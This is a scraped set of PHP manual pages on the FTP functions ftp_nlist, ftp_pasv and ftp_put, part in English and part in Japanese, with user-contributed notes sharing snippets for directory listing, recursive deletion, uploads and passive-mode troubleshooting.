webmaster at weltvolk dot de 12-Oct-2007 06:28
In order to make file/folder separation work on remote servers that do not support ftp_size() it's better to use the function ftp_is_dir() mentioned below:

<?php

//identify directories

function ftp_is_dir($dir) {
  global $ftp_connect;
  if (ftp_chdir($ftp_connect, $dir)) {
    ftp_chdir($ftp_connect, '..');
    return true;
  } else {
    return false;
  }
}
$ftp_nlist = ftp_nlist($ftp_connect, ".");

//alphabetical sorting

sort($ftp_nlist);
foreach ($ftp_nlist as $v) {

//1. ftp_is_dir() is true => directory
  if (ftp_is_dir($v)) {

//output as [ directory ]
      echo "[ " . $v . " ]<br />\n";
  }
}
foreach ($ftp_nlist as $v) {

//2. ftp_is_dir() is false => file
  if (!ftp_is_dir($v)) {

//output as file
      echo "" . $v . "<br />\n";
  }
}
?>
webmaster at weltvolk dot de 05-Oct-2007 02:24
How to get the file list in alphabetical order with all directories at the top:

<?php
$ftp_nlist = ftp_nlist($ftp_connect, ".");

//alphabetical sorting

sort($ftp_nlist);
foreach ($ftp_nlist as $v) {

//1. Size is '-1' => directory
  if (ftp_size($ftp_connect, $v) == -1) {

//output as [ directory ]
      echo "[ " . $v . " ]<br />\n";
  }
}
foreach ($ftp_nlist as $v) {

//2. Size is not '-1' => file
  if (!(ftp_size($ftp_connect, $v) == -1)) {

//output as file
      echo "" . $v . "<br />\n";
  }
}
?>

Result looks like:

[ a_mydirectory ]
[ b_mydirectory ]
[ c_mydirectory ]
...
a_myfile.htm
b_myfile.css
c_myfile.php
...
wim dot dupre at skynet dot be 20-Aug-2007 05:59
php 5.2.2 on MAC OS 1.4 (Tiger) seems to defaut to active ftp. to get ftp_nlist functioning, i needed to force ftp to passive.
the default behaviour with PHP 5.2.3 on windows XP seems to be passive ftp.

greetz,

wim
ralph at ralphje dot nl 16-Aug-2007 03:13
If you receive an error due some open_basedir restrictions, use the following:

<?php
putenv('TMPDIR=/tmp/');
$filelist = ftp_nlist($ftp, "./accounts");
?>

(if /tmp/ is an allowed directory within open_basedir)

It took me a while to find this out.
AndyM 13-Aug-2007 09:13
Be careful tom at crysis-online dot com - your suggested method seems to be server dependent. I'm currently trying to talk to a proftpd server and the size returned is -1 for all files it seems.
tom at crysis-online dot com 09-Aug-2007 04:12
This function is way faster than those below for checking if an object is a file or folder.

<?php
function is_ftp_dir($file, $ftp_connection){
    if(ftp_size($ftp_connection, $file) == '-1'){
        return true; // Is directory
    }else{
        return false; // Is file
    }
}
?>
bintjes at gmail dot com 24-Jul-2007 02:51
I've made a recursive function to list all files from folders and subfolders using ftp_rawlist() . I used the function below from ari,  parse_rawlist()

function list_all_files($conn_id, $path){
    $buff = ftp_rawlist($conn_id, $path);
    $res = parse_rawlist( $buff) ;
    static $flist = array();
    if(count($res)>0){
        foreach($res as $result){
            // verify if is dir , if not add to the  list of files
            if($result['size']== 0){
                // recursively call the function if this file is a folder
                list_all_files($conn_id, $path.'/'.$result['name']);
            }
            else{
            // this is a file, add to final list
                $flist[] = $result;
            }
        }
    }
    return $flist;
}
nigel (at) amanwithapencil (dot) com 04-Feb-2007 04:02
Actually, this works better (suppresses the error when ftp_chdir() fails)!:

if (!@ftp_chdir($ftp_conn, $userfolder))
{
    ftp_mkdir($ftp_conn, $userfolder);
    ftp_chdir($ftp_conn, $userfolder);
}
nigel (at) amanwithapencil (dot) com 03-Feb-2007 08:26
Further to kip's post, this works:

if (!ftp_chdir($conn, $folder))
{
    ftp_mkdir($conn, $folder);
    ftp_chdir($conn, $folder);
}
kip at friendchip dot com 12-Dec-2006 04:48
If you're just after an ftp version of is_dir you can see if ftp_chdir returns true or false.
fx dot menard at pleasenospam dot free dot fr 05-Oct-2006 02:35
A derived use of ftp_nlist function: determine if a given path exists and is a directory or a plain file (this is not easy with basic ftp functions). This code doesn't issue any warning or error. It makes use of ls option -d for efficiency, and -F to append a slash if the retrieved path is a directory.

<?php
// returns information on a given ftp path
// 0 if path does not exist
// 1 if path is a file
// 2 if path is a directory
function ftp_pathtype( $conn, $path )
{
    $res = ftp_nlist( $conn, "-dF " . $path );
    if ( isset( $res[0] ) and
         strlen( $res[0] ) )
    {
        if ( $res[0][ strlen( $res[0] )-1 ] === "/" )
            // a directory
            return 2;
        else
            return 1;
    } else
        return 0;
}
?>
artiom1st at yahoo dot com 24-Aug-2006 07:26
Sometimes, you won't be able to get folder content because of NAT or Firewall issues on your server. As a result you need to put ftp connection into a passive mode:

<?php

// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// enabling passive mode
ftp_pasv( $conn_id, true );

// get contents of the current directory
$contents = ftp_nlist($conn_id, ".");

// output $contents
var_dump($contents);

?>
sksafarath at impelsys dot com 23-Aug-2006 04:17
If we are giving second parameter as full directory  path then it wil return the list of files with full path, If we want to list only files you can do as following code
// set up basic connection
$conn_id = ftp_connect($ftp_server);

// login with username and password
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
//if u want to display the files from /home/test/
//change directory point to /home/test using
ftp_chdir($conn_id, "test");
//then pass second parameter as null which will give the list of files.
// get contents of the current directory
$contents = ftp_nlist($conn_id, "");

Note: This is working for me in PHP5
robtherat at gmx dot de 09-Aug-2006 06:00
The function from nekrostar at gmx dot net does not work for me, so I've tryed to do it my way. For checking if a found file is a directory or not I use the ftp_size function.

<?php
function ftplistdir($conn_id, $dir){
    $fold_no = array(".", "..", "cgi-data", "comp", "zuern", "counter");
    $list = ftp_nlist( $conn_id, $dir );
    foreach($list as $file){
        if (ftp_size($conn_id, $dir ."/".$file)== -1){
            if (in_array($file, $fold_no)) {
                print $file ." Ueberspringe ausgeschlossenes Verzeichnis.<br>";
            } else {
                $geslist[]= $dir ."/". $file;
                $temp=ftplistdir($conn_id, $dir ."/". $file);
                $geslist=array_merge($geslist, $temp);
            }
        }else{
            $geslist[]= $dir ."/". $file;
        }
    }
    return $geslist;
}
?>
I hope it's usefull for anyone
Robert
nekrostar at gmx dot net 02-Aug-2006 04:08
This function returns an array with the directory path and all files and subdirs which are in this

    function ftp_searchdir($conn_id, $dir)
    {
        if( !@ftp_is_dir( $conn_id, $dir ) ) {
            die( 'No such directory on the ftp-server' );
        }
        if( strrchr( $dir, '/' ) != '/' ) {
            $dir = $dir.'/';
        }
        $dirlist[0] = $dir;
        $list = ftp_nlist( $conn_id, $dir );
        foreach( $list as $path ) {
            $path = './'.$path;
            if( $path != $dir.'.' && $path != $dir.'..') {
                if( ftp_is_dir( $conn_id, $path ) ) {
                        $temp = ftp_searchdir( $conn_id, ($path), 1 );
                        $dirlist = array_merge( $dirlist, $temp );
                } else {
                    $dirlist[] = $path;
                }
            }

        }
        ftp_chdir( $conn_id, '/../' );

        return $dirlist;

    }
----------------------------------------------------------------------
    //Looks if a directory ($dir) is isset
    //returns true or false

    function ftp_is_dir( $conn_id,  $dir )
    {
        if( @ftp_chdir( $conn_id, $dir ) ) {
            ftp_chdir( $conn_id, '/../' );
            return true;
        } else {
            return false;
        }
    }
mail at martinauer dot net 14-May-2006 10:27
Beware:
The array will contain complete paths, not just filenames. At least in PHP 4.3.11 when I tried

ftp_nlist("www.example.com/docs/some/thing")

it dumped something like this:

  [0]=>
  string(41) "www.example.com/docs/some/thing/file1.htm"
  [1]=>
  string(41) "www.example.com/docs/some/thing/file2.htm"
  [2]=>
  string(41) "www.example.com/docs/some/thing/file3.htm"
  [3]=>
  string(41) "www.example.com/docs/some/thing/file4.htm"
  [4]=>
  string(41) "www.example.com/docs/some/thing/file5.htm"
franck569 at free dot fr 24-Feb-2006 10:32
better version of turigeza on yahoo com ftp_rmdirr() function.

This return true or false if the path will be removed :

function ftp_rmdirr($handle, $path)
{
    if(!@ftp_delete($handle, $path))
    {
        $list = @ftp_nlist($handle, $path);
        if(!empty($list))
            foreach($list as $value)
                ftp_rmdirr($handle, $value);
    }

    if(@ftp_rmdir($handle, $path))
        return true;
    else
        return false;
}
turigeza on yahoo com 07-Nov-2005 07:10
Recursive directory delete using ftp_nlist() ...
<?php
function ftp_rmdirr($path, $handle)
    {
    if (!(@ftp_rmdir($handle, $path) || @ftp_delete($handle, $path)))
        {
        $list = ftp_nlist($handle, $path);
        if (!empty($list))
            foreach($list as $value)
                ftp_rmdirr($value, $handle);
        }
    @ftp_rmdir($handle, $path);
    }
?>
It would be very useful if it was built into php. After all most of the time we want to remove non empty directories too. I bet everyone out there dealing with the file system had faced this problem.
dreamsavior at gmail dot com 29-Jun-2005 09:19
Here is the function that would checking whether the given path is directory or not, using ftp_nlist;

<?php
function is_ftp_dir($itempath, $ftp_server, $ftp_user_name='anonymous', $ftp_user_pass='') {
    if (empty($ftp_user_name)) {
        $ftp_user_name = "anonymous";
    }
    if ($itempath[0]!=="/") {
        $itempath = "/".$itempath;
    }

    $conn_id = ftp_connect($ftp_server);
    $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

    $contents = ftp_nlist($conn_id, "$itempath");

    if (!empty($contents[0])) {
        $check = str_replace($itempath, "", $contents[0]);
        if (!empty($check)) {
            return true;
        }
    }
    ftp_close($conn_id);
}

// example :
    if (is_ftp_dir("/pub/ftp/unknownitem", "ftp.nowhere", 'username', 'verysecret'')) {
        // do something related to directory handling action
    } else {
        // The target item is a file ...
    }

?>
ds at over dot hu 18-Dec-2004 08:43
Another file filecollect script, with static.

<?php

function filecollect($conn_id,$dir='.') {
  static $flist=array();
  if ($files = ftp_nlist($cid,$dir)){
    foreach ($files as $file) {
      if (ftp_size($cid, $file) == "-1"){
        filecollect($cid,$file);
      } else $flist[] = $file;
    }
  }
  return $flist;
}

$conn_id = ftp_connect('ftp.nowhere.com') or die("Couldn't connect to server");
  if (@ftp_login($conn_id, 'anonymous', 'pass@nowhere.com')){
    $filelist = filecollect($conn_id);
    echo "<pre>";
      print_r($filelist);
    echo "</pre>";
  }

?>
webmaster at torbox dot info 26-Sep-2004 09:16
To use custom LIST - flags, for example
LIST -aF ../*/
(listing protected pub dirs)
You can use
<?php
$list = ftp_nlist($ftp, "-aF ../*/");
?>
Took me a while to clever that one out :-)
micksam7 at neodecoder dot com 29-Feb-2004 02:40
A little correction to king_killa at juggalos4life dot com's note, it isn't ftp_res, it's ftp_size.

By the way, here is a complete function that will get all the files on a server, then write them to a array.

<?php
$ftp1 = ftp_connect('ftp.nowhere1230404.foo') or die("Couldn't connect to server");
ftp_login($ftp1,'foo','bar');
ftp_pasv($ftp1, TRUE); //Passive Mode is better for this

//Get them file!
echo "Collecting Files on Neodecoder<br>";
//Set defaults just in case. PHP complains anyway if we don't.
$dir = "";

function filecollect($dir,$filelist) {
global $ftp1; //Get our ftp
$files = ftp_nlist($ftp1,$dir); //get files in directory
foreach ($files as $file) {
 $isfile = ftp_size($ftp1, $file);
 if($isfile == "-1") { //Is a file or directory?
  $filelist = filecollect($dir.'/'.$file,$filelist,$num); //If a folder, do a filecollect on it
 }
 else {
  $filelist[(count($filelist)+1)] = $file; //If not, add it as a file to the file list
 }
}
return $filelist;
}

$filelist = filecollect($dir,$filelist);

echo "<pre>";
print_r($filelist);
echo "</pre>";
?>

This is really handy if your trying to transfer all the files from a ftp server to another server. Which, is why I made the script in the first place. heh..
tobrien at florahill dot vic dot edu dot au 13-Oct-2003 08:27
ftp_nlist() or ftp_rawlist() takes ages then returns nothing...

If you are having this issue, you may need to enable PASV mode FTP transfers using the ftp_pasv() function.

Example...

<?php
$ftp_host = "yourFTPHost";
$ftp_user = "yourUsername";
$ftp_password = "yourPassword";

//Connect
echo "<br />Connecting to $ftp_host via FTP...";
$conn = ftp_connect($ftp_host);
$login = ftp_login($conn, $ftp_user, $ftp_password);

//
//Enable PASV ( Note: must be done after ftp_login() )
//
$mode = ftp_pasv($conn, TRUE);

//Login OK ?
if ((!$conn) || (!$login) || (!$mode)) {
   die("FTP connection has failed !");
}
echo "<br />Login Ok.<br />";

//
//Now run ftp_nlist()
//
$file_list = ftp_nlist($conn, "");
foreach ($file_list as $file)
{
  echo "<br>$file";
}

//close
ftp_close($conn);

?>
aRc 14-Jul-2003 12:46
in windows, ftp_nlist will die on a directory with a space in it's name.  to get around this, use ftp_chdir:

//change directory
ftp_chdir($conn, "directory with spaces");
//then blindly list
$contents = ftp_nlist($conn, "");
neodeus at allesamarsch dot com 03-Jun-2003 10:10
This is an Example tp read out a Complete FTP Server ( beginn at your root dir )
    function files($dir)
    {
        /*
        if(!isset($dir) || empty($dir))
        {
            $dir=ftp_pwd($this->conn_id);
        }
        */
        unset($list);
        unset($files);
        unset($folders);
        unset($folder);
        unset($file);
        @ftp_chdir($this->conn_id, $dir);
        $dir = ftp_pwd($this->conn_id);
        $list=Array();
        $list=ftp_nlist($this->conn_id, "$dir");
        $files = Array();
        $folders = Array();
        for($i = 0; $i != sizeof($list); $i++)
        {
            $entry = str_replace("//", "", $list[$i]);
            if(@ftp_chdir($this->conn_id, $entry))
            {
                $folders[] = $entry;
                ftp_chdir($this->conn_id, $dir);
            }
            else
            {
                $files[] = $entry;
            }
        }
        print "\t<b> Dateien in ".$dir." :</b><br><br>";
        foreach($files as $file)
        {
            print $file."<br>";
        }
        print "\t<b>Ordner in ".$dir." :</b> <br><br>";
        foreach ($folders as $folder)
        {
            print "\t".$folder."<br>";
            ftp_chdir($this->conn_id, $dir);
            $this->files($folder);
        }
    }
louis at ewens dot com 29-Apr-2003 04:03
If you do a wildcard or other search for a particular file and the file doesn't exist, Solaris FTP servers send back "search*.xml: No such file or directory" as a single element in the response array. This makes it hard to check for the presence of a file.

One possible work-around is to parse your own raw directory listing. Or you could check for the error verbatim. But different servers could return different values. A simpler way to compensate is to use the ftp_size command to validate the returned file:

if ( ($filelist = ftp_nlist( $this->conn_id, $filesearch )) === FALSE )
{
       Error( "Could not get file list" );
       return FALSE;
}
// File actually exists? Catches invalid FTP server list responses
if ( !count($filelist) || ftp_size( $this->conn_id, $filelist[0] ) == -1 )
{
       Error( "No valid files" );
       return FALSE;
}
// File is really there, fetch it or whatever else you want to do
rfr at ajato dot com dot br 12-Feb-2003 08:25
There are some FTP servers that just dont accept the ftp_nlist command, they return a bool variable. but I think all of them accept the LIST command which is the ftp_rawlist command. So yu have to parse rawlist to nlist. I found a code here posted by "fredrik" but it shows a bug if the files at the ftp server have spaces oon theeir name... so here its a better function:
function rawlist_2_nlist($list)
{
    $newlist = array();
    reset($list);
    while (list(,$row) = each($list))
    {
        $buf="";
        if ($row[0]=='d'||$row[0]=='-'){
        $buf = substr($row,55);
        $newlist[]=$buf;
        }
    }

return $newlist;
}
ryan at wonko dot com 20-Mar-2002 07:31
A note to developers using PHP on Windows servers: as of PHP 4.1.2, ftp_nlist() is broken in the Windows build of PHP. It will return nothing at all, even if the same code works fine on UNIX. So if you're going crazy trying to figure out why the function isn't returning anything, stop wasting your time, you're not doing anything wrong. Hopefully this will get fixed in future versions, although it's apparently been an issue since at least 4.0.6.

More info on this bug is at http://bugs.php.net/bug.php?id=16057
markw at altexa dot com 13-Nov-2000 12:33
You can do a wildcard file listing with ftp_nlist, as in:

$list=ftp_nlist($conn_id, "$dir/*.txt");


パッシブモードをオンまたはオフにする

  • ≪ ftp_nlist
  • ftp_put ≫
  • PHP Manual
  • FTP 関数
  • パッシブモードをオンまたはオフにする

ftp_pasv

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_pasv — パッシブモードをオンまたはオフにする

説明

ftp_pasv ( resource $ftp , bool $enable ) : bool

ftp_pasv() はパッシブモードをオンまたはオフにします。 パッシブモードでは、データ接続はサーバーではなくクライアントにより 初期化されます。クライアントがファイアウォールの向こうにある場合に 必要となるでしょう。

ftp_pasv() をコールできるのは、 ログインに成功した後だけであることに注意しましょう。 それ以外の場合は、この関数のコールは失敗します。

パラメータ

ftp

FTP 接続のリンク ID 。

enable

true, の場合はパッシブモードをオンに、そうでない場合はオフにします。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 ftp_pasv() の例

<?php
$file = 'somefile.txt';
$remote_file = 'readme.txt';

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// パッシブモードをオンにする
ftp_pasv($conn_id, true);

// ファイルをアップロードする
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
 echo "successfully uploaded $file\n";
} else {
 echo "There was a problem while uploading $file\n";
}

// 接続を閉じる
ftp_close($conn_id);
?>

User Contributed Notes

rrehbein at officesupply dot com 26-Oct-2018 01:59
For some FTP servers, it seems the sequence of passive and other commands matters more than for other FTP servers. Sorry, I don't know what vendor or version specifically.

<?php
ftp_pasv($handle, true);
echo "System type: ".ftp_systype($handle).PHP_EOL;
ftp_fput($handle, 'example.txt', $stream, FTP_BINARY);
?>

> PHP Warning: ftp_fput(): STOR out of sequence.

<?php
echo "System type: ".ftp_systype($handle).PHP_EOL;
ftp_pasv($handle, true);
ftp_fput($handle, 'example.txt', $stream, FTP_BINARY);
?>

> no issue
carda at two-wings dot net 30-Jul-2014 08:16
It should be noted that ftp_pasv has to be called AFTER ftp_login (not after ftp_connect). May seem obvious to many but it took me three hours to find out...
sameg14 at gmail dot com 07-May-2014 11:06
If you are running filezilla in passive mode, on windows, and try to connect using PHP, you might encounter an error that reads "425 Can't open data connection for transfer of ..."
This error is not indicative of a passive mode issue, but can be resolved by using
<?php
ftp_pasv($conn, true);
?>
marc at gutt dot it 20-Feb-2013 09:32
If you are still having problems after choosing ftp_pasv() you should refresh the connection through ftp_close() / ftp_connect() after x files and/or y GB have been transfered.

It solved several (random) occurring problems like:

ftp_get(): Opening BINARY mode data connection

ftp_get(): Entering Passive Mode

Hint: fopen() created a file so don't forget to delete it if an error occurred ;)
mac at codegreene dot com 09-Jul-2010 03:20
I found one place that required passive mode to function properly, but the initial error manifested itself in an odd way:

PHP Warning:  ftp_put(): TYPE is now ASCII in <file.php> on line <#>

or

PHP Warning:  ftp_put(): TYPE is now 8 BIT BINARY in <file.php> on line <#>

The other symptom is that it was taking a long time, perhaps the 90 seconds that the timeout was set to. No errors occurred upon connect, just when I tried ftp_put().

Once I turned on ftp_pasv() it worked, both in the place where active mode worked, and on the server where active mode wouldn't work.
Anonymous 04-Sep-2009 10:45
If you find that you are receiving "Illegal PORT command" errors you may want to try enabling passive mode.
ybourbeau at edison dot ca 08-Apr-2002 03:28
Directly from bsd FTP manual pages:

The PASV command requests that the remote server open a port for the data connection and return the address of that port.  The remote server listens on that port and the client connects to it.

                 When using the more traditional PORT command, the client listens on a port and sends that address to the remote server, who connects back to it.  Passive mode is useful when using ftp through a gateway router or host that controls the directionality of traffic.  (Note that though ftp servers are required to support the PASV command by RFC 1123, some do not.)
03-Apr-2002 04:19
PASV: For ftp users behind firewall, the server LISTEN for a connection.

Non-PASV: The client LISTEN for a connection from server.


FTP サーバーにファイルをアップロードする

  • ≪ ftp_pasv
  • ftp_pwd ≫
  • PHP Manual
  • FTP 関数
  • FTP サーバーにファイルをアップロードする

ftp_put

(PHP 4, PHP 5, PHP 7, PHP 8)

ftp_put — FTP サーバーにファイルをアップロードする

説明

ftp_put ( resource $ftp , string $remote_filename , string $local_filename , int $mode = FTP_BINARY , int $offset = 0 ) : bool

ftp_put() ローカルファイルを FTP サーバーに保存します。

パラメータ

ftp

FTP 接続のリンク ID 。

remote_filename

リモートファイルのパス。

local_filename

ローカルファイルのパス。

mode

転送モード。FTP_ASCII または FTP_BINARY のどちらかを指定する必要があります。

offset

リモートファイル内での、アップロード開始位置。

返り値

成功した場合に true を、失敗した場合に false を返します。

変更履歴

バージョン | 説明
7.3.0 | mode パラメータはオプションになりました。 これより前のバージョンでは、このパラメータは必須でした。

例

例1 ftp_put() の例

<?php
$file = 'somefile.txt';
$remote_file = 'readme.txt';

// 接続を確立する
$conn_id = ftp_connect($ftp_server);

// ユーザー名とパスワードでログインする
$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);

// ファイルをアップロードする
if (ftp_put($conn_id, $remote_file, $file, FTP_ASCII)) {
 echo "successfully uploaded $file\n";
} else {
 echo "There was a problem while uploading $file\n";
}

// 接続を閉じる
ftp_close($conn_id);
?>

参考

  • ftp_pasv() - パッシブモードをオンまたはオフにする
  • ftp_fput() - オープン中のファイルを FTP サーバーにアップロードする
  • ftp_nb_fput() - オープン中のファイルを FTP サーバーに保存する（非ブロッキング）
  • ftp_nb_put() - FTP サーバーにファイルを保存する（非ブロッキング）

User Contributed Notes

jan at odvarko dot cz 26-Feb-2021 09:42
Yet another recursive ftp_put.

* The parameters are similar to that of ftp_put, so if you need to copy a directory, just use ftp_put_dir(...) instead of ftp_put(...).
* Another advantage is that the remote directory doesn't need to exist.
* Returns TRUE on success, FALSE on failure.
* Inspired by lucas at rufy dot com and webmaster at sweetphp dot com.

<?php

function ftp_put_dir($ftp, $remote_dirname, $local_dirname, $mode=FTP_BINARY) {
    $success = true;

    // If necessary, create the remote directory.
    if (!ftp_nlist($ftp, $remote_dirname)) {
        if (ftp_mkdir($ftp, $remote_dirname) === false) {
            $success = false;
        }
    }

    $dir = dir($local_dirname);
    while ($f = $dir->read()) {
        if ($f === '.' || $f === '..') {
            continue;
        }
        $lf = $local_dirname . '/' . $f;
        $rf = $remote_dirname . '/' . $f;

        if (is_dir($lf)) {
            if (!ftp_put_dir($ftp, $rf, $lf, $mode)) {
                $success = false;
            }
        } else {
            if (!ftp_put($ftp, $rf, $lf, $mode)) {
                $success = false;
            }
        }
    }
    $dir->close();

    return $success;
}

?>
darleys at darleys dot org 23-Mar-2017 05:49
-----FTP PUT contents (php 7.0) ---
$tmpFile = tmpfile();
fwrite($tmpFile, $contents);
rewind($tmpFile);
$tmpMetaData = stream_get_meta_data($tmpFile);

if (ftp_put($ftpObj, $remoteFile, $tmpMetaData['uri'], FTP_ASCII)) {
      echo "success";
}else {
       echo "fail"
}
fclose($tmpFile);
jaxx1rr@g 06-Oct-2016 02:21
please add ftp_pasv($conn_id, true); to the first example (after ftp_login), can't you see so many users are having problems without it ?
fabiogoncalves at live dot co dot uk 14-Feb-2015 12:14
I was trying to upload WAV files using FTP_ASCII and the file was full of noise after uploading.

So for WAV files use FTP_BINARY.

Hope it helps.
donjajo at 2netlodge dot com 15-Sep-2013 09:08
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; CHARSET=shift-jis" />
<title>Simple FTP Upload Script using PHP by 2netlodge</title>
</head>

<body>
<?php
if(isset($_POST['ftp']))
     {
        $ftp = $_POST['ftp'];
        $username = $_POST['username'];
        $pwd = $_POST['pwd'];
        $filename = $_FILES['file']['name'];
        $tmp = $_FILES['file']['tmp_name'];
        $d = $_POST['des'];

        $connect = ftp_connect($ftp)or die("Unable to connect to host");
        ftp_login($connect,$username,$pwd)or die("Authorization Failed");
        echo "Connected!<br/>";

        if(!$filename)
            {
                echo"Please select a file";
            }
        else
            {
                ftp_put($connect,$d.'/'.$filename,$tmp,FTP_ASCII)or die("Unable to upload");
                        echo"File successfully uploaded to FTP";
            }
    }

?>
<form action="" method="post" enctype="multipart/form-data">
<input type="text" name="ftp" placeholder="FTP link"/><br/>
<input type="text" name="username" placeholder="Username"/><br/>
<input type="password" name="pwd" placeholder="Password"/><br/>
<input type="file" name="file" /><br/>
<input type="text" name="des" placeholder="Destination"  /><br/>
<br/><input type="submit" value="Upload"/></form>

</body>
</html>
Anonymous 24-Aug-2012 12:59
If you are getting the very helpful warnings...
"Opening BINARY mode data connection" or
"Opening ASCII mode data connection"

... and have tried ftp_pasv, ftp_alloc, switching between FTP_ASCII or FTP_BINARY and blaming the FTP provider (like I did), try using ftp_close then ftp_connect to reset your FTP connection. Worked for me!
Anonymous 13-Mar-2012 10:28
Hi !

If you get this error when trying to send data to server :
Warning: ftp_put() [function.ftp-put]: Unable to build data connection: Connection timed out...

Two solutions :
 - Add the program httpd.exe in your exception list for external connexions of your firewall. Indeed, the FTP protocol open a new socket for data transfer. And this socket is opened from the server to the client (your computer). This program is located (for WAMP) in C:\wamp\bin\apache\Apache[version]\bin\
 - Use the ftp_pasv() function to activate the passive mode. In this mode, it is the client who open the new socket to the server.
lourspolair at banquiz dot net 07-Jun-2010 03:05
Hi,

I try to upload one text file represente CSV with tab separator thru FTP connection.

i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);

everything goes fine, but txt file in destination server get white line between dataline...

i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.

so, lets do it in binary mode.
lousrpolair at banquiz dot net 07-Jun-2010 03:05
Hi,

I try to upload one text file represente CSV with tab separator thru FTP connection.

i'm using :
ftp_put($connect_id, $fileFullName, $localFile, FTP_ASCII);

everything goes fine, but txt file in destination server get white line between dataline...

i try :
ftp_put($connect_id, $fileFullName, $localFile, FTP_BINARY);
and everything goes fine.

so, lets do it in binary mode.
JDD 12-Mar-2010 06:22
In case you aren't aware...  Some web hosting services do NOT allow outbound ftp unless you have a dedicated server account.  A "shared" hosting account often doesn't have this capability.

So if you can't get your ftp, curl, or ssh remote file transfer functions to work, check with the host service and ask.  You may have to upgrade your account.
Svinto 01-Mar-2010 04:58
I [had an error for which] ftp_pasv didnt solve the problem. Here's why:

FTP uses 2 connections on different ports, one for connection/handshake and another for data transfer.
The problem was that the ftp-server (that php was connecting to) also used different IP-addresses for the different connections (say what!?).
Normally the firewall (csf) detects ftp-connections and allows them through but because of the different IP-adresses this didn't work.

Solution:
1 angry mail to the ftp server owner.
Allowing the second IP in the firewall.
bintjes at gmail dot com 02-Jul-2009 01:51
I've seen two notes about a "ftp_copy" function but i think   there's a misinterpretation about what an "ftp_copy" function should do. For me , it should be something like an ftp_rename that would keep the orginal file and clone it somewhere else on the same ftp server, as for them they consider its purpose is to copy a local file to a distant ftp ..well .. as in FTP protocol there's no such thing as an FTP COPY  command anyway, i think you're free to interpret it as you want.
So here's my solution using ftp_put and ftp_get ..

<?php
// bool ftp_copy  ( resource $ftp_stream  , string $initialpath, string $newpath, string $imagename )
function ftp_copy($conn_distant , $pathftp , $pathftpimg ,$img){
        // on recupere l'image puis on la repose dans le nouveau folder
        if(ftp_get($conn_distant, TEMPFOLDER.$img, $pathftp.'/'.$img ,FTP_BINARY)){
                if(ftp_put($conn_distant, $pathftpimg.'/'.$img ,TEMPFOLDER.$img , FTP_BINARY)){
                        unlink(TEMPFOLDER.$img) ;
                } else{
                        return false;
                }

        }else{
                return false ;
        }
        return true ;
}
?>
Anonymous 26-Apr-2009 07:51
If when using ftp_put you get the one of the following errors:

Warning: ftp_put() [function.ftp-put]: Opening ASCII mode data connection

Warning: ftp_put() [function.ftp-put]: Opening BINARY mode data connection

and it creates the file in the correct location but is a 0kb file and all FTP commands thereafter fail. It is likely that the client is behind a firewall. To rectify this use:

<?php
ftp_pasv($resource, true);
?>

Before executing any put commands. Took me so long to figure this out I actually cheered when I did :D
Kev 31-Mar-2009 08:36
Got this cryptic error

Warning:  ftp_put() [function.ftp-put]: 'STOR' not understood in
C:\wamp\www\kevtest\ftp_todays.php on line 48

Found the prob, you can't put a path to the destination file
(even though I can do that in the dos ftp client...?)

e.g. - this doesn't work
ftp_put($conn, '/www/site/file.html','c:/wamp/www/site/file.html',FTP_BINARY);

you have to put

<?php
ftp_chdir($conn, '/www/site/');
ftp_put($conn,'file.html', 'c:/wamp/www/site/file.html', FTP_BINARY );
?>
emailfire at gmail dot com 20-May-2008 03:45
Took me forever to work out but this will work if you get the paths right!

<?php
function ftp_copy($file) {
global $conn_id;
$ftp_root = '/public_html/';
$site_root = '/home/usr/public_html/';
return ftp_put($conn_id, $ftp_root . $file, $site_root . $file, FTP_BINARY);
}
?>

Login to your site using an FTP client to retrieve the $ftp_root

Use something like getcwd() to get the $site root
florian dot ember at gmail dot com 17-May-2008 08:08
Currently, there is no function that lets you specifiy the file's contents as a string. However, there is ftp_fput(), which operates on an open file. Using this function in conjunction with tmpfile() lets you emulate this kind of function. (You could also use php://memory, but this breaks BC).

<?php
function ftp_fputs($ftp_stream, $remote_file, $contents, $mode, $startpos = 0)
{
    $tmp = tmpfile();
    fwrite($tmp, $contents);
    rewind($tmp);
    $result = ftp_fput($ftp_stream, $remote_file, $tmp, $mode, $startpos);
    fclose($tmp);
    return $result;
}
?>
Aditya P Bhatt (adityabhai at gmail dot com) 26-Mar-2008 03:18
Here is the Code I am using for the same function with more flexibility in static code:
<?
$name = "FILE NAME";
$filename = "FILE NAME WITH FULL PATH";

//-- Code to Transfer File on Server Dt: 06-03-2008 by Aditya Bhatt --//
//-- Connection Settings
$ftp_server = "IP ADDRESS"; // Address of FTP server.
$ftp_user_name = " SERVER USERNAME"; // Username
$ftp_user_pass = " SERVER PASSWORD"; // Password
$destination_file = " SERVER FILE PATH TO UPLOAD VIA FTP_PUT"; //where you want to throw the file on the webserver (relative to your login dir)

$conn_id = ftp_connect($ftp_server) or die("<span style='color:#FF0000'><h2>Couldn't connect to $ftp_server</h2></span>");        // set up basic connection

$login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass) or die("<span style='color:#FF0000'><h2>You do not have access to this ftp server!</h2></span>");   // login with username and password, or give invalid user message

if ((!$conn_id) || (!$login_result)) {  // check connection
    // wont ever hit this, b/c of the die call on ftp_login
    echo "<span style='color:#FF0000'><h2>FTP connection has failed! <br />";
    echo "Attempted to connect to $ftp_server for user $ftp_user_name</h2></span>";
    exit;
} else {
    //echo "Connected to $ftp_server, for user $ftp_user_name <br />";
}

$upload = ftp_put($conn_id, $destination_file.$name, $filename, FTP_BINARY);  // upload the file
